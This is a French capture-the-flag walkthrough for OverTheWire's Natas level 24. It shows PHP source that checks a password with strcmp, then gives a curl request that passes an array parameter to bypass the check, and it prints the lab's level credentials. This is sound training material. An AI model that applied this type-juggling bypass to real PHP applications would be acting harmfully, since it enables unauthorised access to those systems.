Niveau 24

Natas 24

Level Goal

Username: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
URL: http://natas24.natas.labs.overthewire.org

En se connectant à la page du challenge 24 (curl http://natas24.natas.labs.overthewire.org -u natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg) on accède à un (nouveau) formulaire qui permet de rentrer un mot de passe avec le code source suivant :

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

Rien qu'à voir la tronche du code on peut sentir à la fois la créativité et le challenge qui débordent de cette épreuve. Un lien vers le manuel PHP pour la fonction strcmp.

Pour résumer simplement, la fonction strcmp compare 2 chaînes de caractère et retourne les valeurs suivantes :

Le calcul de "supériorité" ou "infériorité" n'est pas très intéressant dans le cadre de cette épreuve, mais un point d'attention que l'on peut porter sur le code est le suivant : la condition if s'attend du fait de la présence d'un ! avant l'instruction strcmp() à ce que le résultat soit inversé ; c'est à dire que strcmp() retourne un chiffre égal à 0, donc que le mot de passe envoyé corresponde avec celui, masqué, sur le serveur.

Une faille assez connue permettant de bypasser strcmp() est d'envoyer un array au serveur, ce qui empêchera la comparaison et retournera toujours 0. Ainsi si on envoi la requête suivante :

curl http://natas24.natas.labs.overthewire.org?passwd[]=a -u natas24:OsRmXFguozKpTZZ5X14zNO43379LZveg

On obtient la réponse :

The credentials for the next level are:
Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c